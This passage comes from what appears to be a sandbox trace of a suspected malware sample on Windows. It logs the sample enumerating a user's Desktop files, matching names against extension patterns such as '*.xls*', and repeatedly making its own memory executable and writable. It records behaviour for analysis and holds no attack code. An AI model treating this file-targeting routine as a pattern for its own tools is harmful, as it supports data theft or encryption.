nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0165.675] SysReAllocStringLen (in: pbstr=0x1e7dfc98*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\.", len=0x1c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\.") returned 1 [0165.675] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\.", len=0x1c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\.") returned 1 [0165.676] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\.", psz="C:\\Users\\aETAdzjz\\Desktop\\\\.", len=0x1c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\.") returned 1 [0165.676] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\.", len=0x1b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\.") returned 1 [0165.676] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\.", psz="C:\\Users\\aETAdzjz\\Desktop\\.", len=0x1b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\.") returned 1 [0165.676] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\.", len=0x1b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\.") returned 1 [0165.676] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\.", psz="C:\\Users\\aETAdzjz\\Desktop\\.", len=0x1b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\.") returned 1 [0165.676] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x851aa9e0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0x851aa9e0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.677] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\.", psz="C:\\Users\\aETAdzjz\\Desktop\\\\..", len=0x1d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\..") returned 1 [0165.677] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\..", len=0x1d | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\..") returned 1 [0165.677] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\..", psz="C:\\Users\\aETAdzjz\\Desktop\\\\..", len=0x1d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\..") returned 1 [0165.677] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\..", len=0x1c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\..") returned 1 [0165.677] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\..", psz="C:\\Users\\aETAdzjz\\Desktop\\..", len=0x1c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\..") returned 1 [0165.677] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\..", len=0x1c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\..") returned 1 [0165.677] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\..", psz="C:\\Users\\aETAdzjz\\Desktop\\..", len=0x1c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\..") returned 1 [0165.677] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4170dfb0, ftCreationTime.dwHighDateTime=0x1d5e484, ftLastAccessTime.dwLowDateTime=0x6fa0bc50, ftLastAccessTime.dwHighDateTime=0x1d5e2c4, ftLastWriteTime.dwLowDateTime=0x6fa0bc50, ftLastWriteTime.dwHighDateTime=0x1d5e2c4, nFileSizeHigh=0x0, nFileSizeLow=0xb16, dwReserved0=0x0, dwReserved1=0x0, cFileName="0P1gGY.flv", cAlternateFileName="")) returned 1 [0165.678] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\..", psz="C:\\Users\\aETAdzjz\\Desktop\\\\0P1gGY.flv", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\0P1gGY.flv") returned 1 [0165.678] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\0P1gGY.flv", len=0x25 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\0P1gGY.flv") returned 1 [0165.678] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\0P1gGY.flv", psz="C:\\Users\\aETAdzjz\\Desktop\\\\0P1gGY.flv", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\0P1gGY.flv") returned 1 [0165.678] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\0P1gGY.flv", len=0x24 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\0P1gGY.flv") returned 1 [0165.678] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\0P1gGY.flv", psz="C:\\Users\\aETAdzjz\\Desktop\\0P1gGY.flv", len=0x24 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\0P1gGY.flv") returned 1 [0165.678] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\0P1gGY.flv", len=0x24 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\0P1gGY.flv") returned 1 [0165.678] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\0P1gGY.flv", psz="C:\\Users\\aETAdzjz\\Desktop\\0P1gGY.flv", len=0x24 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\0P1gGY.flv") returned 1 [0165.679] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0P1gGY.flv", cchWideChar=10, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0P1gGY.flvc*,*.xls*", lpUsedDefaultChar=0x0) returned 10 [0165.679] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0P1gGY.flv", cchWideChar=10, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0P1gGY.flvc*,*.xls*", lpUsedDefaultChar=0x0) returned 10 [0165.679] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0P1gGY.flv", cchWideChar=10, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0P1gGY.flvc*,*.xls*", lpUsedDefaultChar=0x0) returned 10 [0165.679] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ff1e2b0, ftCreationTime.dwHighDateTime=0x1d5e1b0, ftLastAccessTime.dwLowDateTime=0xbed9edb0, ftLastAccessTime.dwHighDateTime=0x1d5d972, ftLastWriteTime.dwLowDateTime=0xbed9edb0, ftLastWriteTime.dwHighDateTime=0x1d5d972, nFileSizeHigh=0x0, nFileSizeLow=0xab9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="9pz9bfkAMzTwtSjdF.avi", cAlternateFileName="9PZ9BF~1.AVI")) returned 1 [0165.679] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\0P1gGY.flv", psz="C:\\Users\\aETAdzjz\\Desktop\\\\9pz9bfkAMzTwtSjdF.avi", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\9pz9bfkAMzTwtSjdF.avi") returned 1 [0165.679] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\9pz9bfkAMzTwtSjdF.avi", len=0x30 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\9pz9bfkAMzTwtSjdF.avi") returned 1 [0165.679] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\9pz9bfkAMzTwtSjdF.avi", psz="C:\\Users\\aETAdzjz\\Desktop\\\\9pz9bfkAMzTwtSjdF.avi", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\9pz9bfkAMzTwtSjdF.avi") returned 1 [0165.680] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\9pz9bfkAMzTwtSjdF.avi", len=0x2f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\9pz9bfkAMzTwtSjdF.avi") returned 1 [0165.680] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\9pz9bfkAMzTwtSjdF.avi", psz="C:\\Users\\aETAdzjz\\Desktop\\9pz9bfkAMzTwtSjdF.avi", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\9pz9bfkAMzTwtSjdF.avi") returned 1 [0165.680] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\9pz9bfkAMzTwtSjdF.avi", len=0x2f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\9pz9bfkAMzTwtSjdF.avi") returned 1 [0165.680] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\9pz9bfkAMzTwtSjdF.avi", psz="C:\\Users\\aETAdzjz\\Desktop\\9pz9bfkAMzTwtSjdF.avi", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\9pz9bfkAMzTwtSjdF.avi") returned 1 [0165.680] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27914f0, ftCreationTime.dwHighDateTime=0x1d5e248, ftLastAccessTime.dwLowDateTime=0xf522e7c0, ftLastAccessTime.dwHighDateTime=0x1d5d826, ftLastWriteTime.dwLowDateTime=0xf522e7c0, ftLastWriteTime.dwHighDateTime=0x1d5d826, nFileSizeHigh=0x0, nFileSizeLow=0x10a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="a19ZLgABCcDu15Hd.png", cAlternateFileName="A19ZLG~1.PNG")) returned 1 [0165.680] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\9pz9bfkAMzTwtSjdF.avi", psz="C:\\Users\\aETAdzjz\\Desktop\\\\a19ZLgABCcDu15Hd.png", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\a19ZLgABCcDu15Hd.png") returned 1 [0165.681] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\a19ZLgABCcDu15Hd.png", len=0x2f | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\a19ZLgABCcDu15Hd.png") returned 1 [0165.681] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\a19ZLgABCcDu15Hd.png", psz="C:\\Users\\aETAdzjz\\Desktop\\\\a19ZLgABCcDu15Hd.png", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\a19ZLgABCcDu15Hd.png") returned 1 [0165.681] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\a19ZLgABCcDu15Hd.png", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\a19ZLgABCcDu15Hd.png") returned 1 [0165.686] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.686] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.687] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.687] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.688] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\a19ZLgABCcDu15Hd.png", psz="C:\\Users\\aETAdzjz\\Desktop\\a19ZLgABCcDu15Hd.png", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\a19ZLgABCcDu15Hd.png") returned 1 [0165.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.688] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\a19ZLgABCcDu15Hd.png", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\a19ZLgABCcDu15Hd.png") returned 1 [0165.688] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\a19ZLgABCcDu15Hd.png", psz="C:\\Users\\aETAdzjz\\Desktop\\a19ZLgABCcDu15Hd.png", len=0x2e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\a19ZLgABCcDu15Hd.png") returned 1 [0165.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.689] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x569a2f00, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0x5732c580, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xb3e0b100, ftLastWriteTime.dwHighDateTime=0x1d6b6f8, nFileSizeHigh=0x0, nFileSizeLow=0xcfd2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="API .doc.rtf", cAlternateFileName="APIDOC~1.RTF")) returned 1 [0165.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.689] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\a19ZLgABCcDu15Hd.png", psz="C:\\Users\\aETAdzjz\\Desktop\\\\API .doc.rtf", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\API .doc.rtf") returned 1 [0165.689] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\API .doc.rtf", len=0x27 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\API .doc.rtf") returned 1 [0165.689] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\API .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\\\API .doc.rtf", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\API .doc.rtf") returned 1 [0165.690] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\API .doc.rtf", len=0x26 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\API .doc.rtf") returned 1 [0165.690] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\API .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\API .doc.rtf", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\API .doc.rtf") returned 1 [0165.690] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\API .doc.rtf", len=0x26 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\API .doc.rtf") returned 1 [0165.690] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\API .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\API .doc.rtf", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\API .doc.rtf") returned 1 [0165.690] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac9fb3d0, ftCreationTime.dwHighDateTime=0x1d5e6ee, ftLastAccessTime.dwLowDateTime=0x1f7552a0, ftLastAccessTime.dwHighDateTime=0x1d5e219, ftLastWriteTime.dwLowDateTime=0x1f7552a0, ftLastWriteTime.dwHighDateTime=0x1d5e219, nFileSizeHigh=0x0, nFileSizeLow=0x3505, dwReserved0=0x0, dwReserved1=0x0, cFileName="azOf.swf", cAlternateFileName="")) returned 1 [0165.690] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\API .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\\\azOf.swf", len=0x23 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\azOf.swf") returned 1 [0165.690] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\azOf.swf", len=0x23 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\azOf.swf") returned 1 [0165.690] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\azOf.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\\\azOf.swf", len=0x23 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\azOf.swf") returned 1 [0165.691] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\azOf.swf", len=0x22 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\azOf.swf") returned 1 [0165.691] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\azOf.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\azOf.swf", len=0x22 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\azOf.swf") returned 1 [0165.691] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\azOf.swf", len=0x22 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\azOf.swf") returned 1 [0165.691] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\azOf.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\azOf.swf", len=0x22 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\azOf.swf") returned 1 [0165.691] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.691] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="azOf.swf", cchWideChar=8, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="azOf.swflvc*,*.xls*", lpUsedDefaultChar=0x0) returned 8 [0165.691] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.692] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="azOf.swf", cchWideChar=8, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="azOf.swflvc*,*.xls*", lpUsedDefaultChar=0x0) returned 8 [0165.692] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="azOf.swf", cchWideChar=8, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="azOf.swflvc*,*.xls*", lpUsedDefaultChar=0x0) returned 8 [0165.693] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58f2c20, ftCreationTime.dwHighDateTime=0x1d5e7ba, ftLastAccessTime.dwLowDateTime=0x87913670, ftLastAccessTime.dwHighDateTime=0x1d5d8c7, ftLastWriteTime.dwLowDateTime=0x87913670, ftLastWriteTime.dwHighDateTime=0x1d5d8c7, nFileSizeHigh=0x0, nFileSizeLow=0xc9fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BYTzPoKG_yc3pF83P.swf", cAlternateFileName="BYTZPO~1.SWF")) returned 1 [0165.693] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\azOf.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\\\BYTzPoKG_yc3pF83P.swf", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\BYTzPoKG_yc3pF83P.swf") returned 1 [0165.693] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\BYTzPoKG_yc3pF83P.swf", len=0x30 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\BYTzPoKG_yc3pF83P.swf") returned 1 [0165.693] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\BYTzPoKG_yc3pF83P.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\\\BYTzPoKG_yc3pF83P.swf", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\BYTzPoKG_yc3pF83P.swf") returned 1 [0165.693] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\BYTzPoKG_yc3pF83P.swf", len=0x2f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\BYTzPoKG_yc3pF83P.swf") returned 1 [0165.693] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\BYTzPoKG_yc3pF83P.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\BYTzPoKG_yc3pF83P.swf", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\BYTzPoKG_yc3pF83P.swf") returned 1 [0165.693] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\BYTzPoKG_yc3pF83P.swf", len=0x2f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\BYTzPoKG_yc3pF83P.swf") returned 1 [0165.693] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\BYTzPoKG_yc3pF83P.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\BYTzPoKG_yc3pF83P.swf", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\BYTzPoKG_yc3pF83P.swf") returned 1 [0165.694] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3381b3d0, ftCreationTime.dwHighDateTime=0x1d5e398, ftLastAccessTime.dwLowDateTime=0x80edb740, ftLastAccessTime.dwHighDateTime=0x1d5e7e4, ftLastWriteTime.dwLowDateTime=0x80edb740, ftLastWriteTime.dwHighDateTime=0x1d5e7e4, nFileSizeHigh=0x0, nFileSizeLow=0x11f3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bz_F8s0z-5iuOC.m4a", cAlternateFileName="BZ_F8S~1.M4A")) returned 1 [0165.694] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\BYTzPoKG_yc3pF83P.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\\\Bz_F8s0z-5iuOC.m4a", len=0x2d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\Bz_F8s0z-5iuOC.m4a") returned 1 [0165.694] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\Bz_F8s0z-5iuOC.m4a", len=0x2d | out: 